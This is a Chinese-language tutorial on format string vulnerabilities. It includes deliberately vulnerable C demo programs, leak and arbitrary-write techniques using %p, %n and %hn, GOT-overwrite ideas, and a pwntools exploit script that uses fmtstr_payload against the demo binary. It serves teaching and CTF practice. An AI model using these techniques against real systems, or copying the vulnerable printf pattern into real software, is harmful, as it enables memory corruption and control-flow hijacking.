原理

格式化字符串漏洞的本质是:程序将用户可控的输入作为了格式化函数(如printf)的格式化字符串参数,导致格式化函数在解析时,错误地越界访问或修改了内存中的数据

适用条件

格式化字符串漏洞通常需要满足以下条件:

  • 用户输入能够直接或间接控制格式化字符串本身
  • 程序调用了 printffprintfsprintfsnprintfsyslog 等 printf 族函数
  • 危险写法类似 printf(buf),而不是安全写法 printf("%s", buf)
  • 如果目标是信息泄露,需要程序输出结果可见
  • 如果目标是任意地址写,需要 %n 系列格式符未被过滤,并且能控制待写入地址

常见危险代码:

printf(user_input);
fprintf(stderr, user_input);
sprintf(dst, user_input);

安全写法应该显式指定格式字符串:

printf("%s", user_input);

漏洞代码

最小漏洞示例:

#include <stdio.h>
#include <unistd.h>

int main(void) {
    char buf[128];

    read(0, buf, sizeof(buf) - 1);
    printf(buf); // 漏洞点:用户输入被当作格式化字符串解析

    return 0;
}

更适合练习任意写的示例:

#include <stdio.h>
#include <unistd.h>

int target = 0;

int main(void) {
    char buf[128] = {0};

    puts("Input:");
    read(0, buf, sizeof(buf) - 1);
    printf(buf);

    if (target == 0xdeadbeef) {
        puts("success");
    } else {
        printf("target = 0x%x\n", target);
    }

    return 0;
}

编译方式

入门阶段建议关闭 PIE,方便观察固定地址:

gcc source.c -o fmt_demo -fno-stack-protector -no-pie

查看保护:

checksec ./fmt_demo

格式化字符串漏洞不依赖在栈上执行代码,所以 NX 开启并不会阻止漏洞本身。真正影响较大的保护通常是:

  • PIE/ASLR:地址随机化,需要先泄露程序或 libc 基址
  • Full RELRO:GOT 表只读,不能再通过改 GOT 劫持函数
  • Canary:如果只利用格式化字符串读写内存,不一定需要覆盖返回地址,因此不一定受 Canary 影响

攻击思路

格式化字符串主要有两类能力:读内存和写内存。

泄露栈数据

使用 %p%x%lx 可以让 printf 继续从参数区域取值并打印:

AAAA.%p.%p.%p.%p.%p

如果输出中出现 0x414141410x4141414141414141,说明我们输入的内容已经被当作某个参数解析,可以据此确定参数偏移。

泄露任意地址

将目标地址放进 payload,再用 %s 将该地址当作字符串指针解引用:

[target_addr] + %offset$s

这种方式常用于泄露 GOT 表中的真实 libc 地址,例如泄露 puts@got,再计算 libc 基址。

任意地址写

%n 不打印内容,而是把“当前已经输出的字符数量”写入对应指针指向的地址。

常用写入粒度:

  • %n:写入 4 或 8 字节,受架构影响
  • %hn:写入 2 字节
  • %hhn:写入 1 字节

实战中通常使用 %hn%hhn 分段写入,避免一次性输出过多字符。

控制流劫持

有了任意地址写后,常见目标包括:

  • 修改全局变量或认证标志
  • 修改 GOT 表项,例如将 printf@got 改成 system
  • 修改返回地址或函数指针
  • 修改 .fini_array.dtors 等退出时会调用的函数指针区域

Payload 构造

确定参数偏移

先用可识别标记探测偏移:

from pwn import *

p = process("./fmt_demo")
p.sendline(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p")
print(p.recvall())

如果第 6 个参数附近出现 0x41414141,说明输入内容位于第 6 个格式化参数附近。也可以使用 pwntools 自动探测:

from pwn import *

def exec_fmt(payload):
    p = process("./fmt_demo")
    p.sendline(payload)
    return p.recvall()

fmt = FmtStr(exec_fmt)
log.info(f"offset = {fmt.offset}")

使用 fmtstr_payload

pwntools 提供了 fmtstr_payload 自动生成写入 payload:

payload = fmtstr_payload(offset, {target_addr: 0xdeadbeef})

参数含义:

  • offset:格式化字符串参数偏移
  • {target_addr: value}:将 value 写入 target_addr

如果需要控制写入粒度,可以指定 write_size

payload = fmtstr_payload(offset, {target_addr: 0xdeadbeef}, write_size="short")

write_size="short" 通常对应 %hn,会按 2 字节分段写入,更适合写 32/64 位地址。

Exploit 示例

以下示例将全局变量 target 改为 0xdeadbeef

#!/usr/bin/env python3

from pwn import *

exe = ELF("./fmt_demo")
context.binary = exe


def conn():
    if args.LOCAL:
        return process(exe.path)
    return remote("addr", 1337)


def main():
    p = conn()

    offset = 6  # 需要根据实际调试结果调整
    target = exe.sym["target"]

    payload = fmtstr_payload(offset, {target: 0xdeadbeef}, write_size="short")

    p.recvuntil(b"Input:\n")
    p.sendline(payload)

    p.interactive()


if __name__ == "__main__":
    main()

如果目标程序是 Full RELRO,GOT 表不可写,此时应优先考虑修改栈上返回地址、函数指针、全局变量或其他可写回调结构。

常见问题

为什么 %p 会泄露栈数据?

printf 会按照格式字符串的要求继续从参数区域取值。如果程序只传入了一个参数 printf(buf),但 buf 里包含很多 %pprintf 仍会认为后面还有参数,于是把栈上或寄存器保存区中的数据当作参数打印出来。

为什么 %n 可以写内存?

%n 的语义就是把当前已输出字符数量写入对应指针指向的地址。正常代码中它用于记录输出长度,但当指针参数可控时,就变成了任意地址写。

为什么常用 %hn%hhn

因为直接用 %n 写 4/8 字节时,需要输出的字符数量可能非常大,不稳定也很慢。使用 %hn%hhn 可以按 2 字节或 1 字节分段写入,payload 更可控。

64 位下为什么地址放在 payload 前面可能被截断?

64 位地址常包含 \x00,如果目标程序使用 scanf("%s")gets 类字符串输入,空字节可能提前截断输入。可以考虑把地址放在 payload 后半部分,或利用 read 这类按长度读取的函数。

Full RELRO 为什么不能改 GOT?

Full RELRO 会在程序启动时完成重定位,并把 GOT 所在内存页改为只读。此时再写 GOT 会触发段错误,需要寻找其他可写目标。

printf("%s", buf) 是否存在格式化字符串漏洞?

通常不存在。因为格式字符串固定为 "%s",用户输入只会作为普通字符串参数输出,不会被解析为新的格式化指令。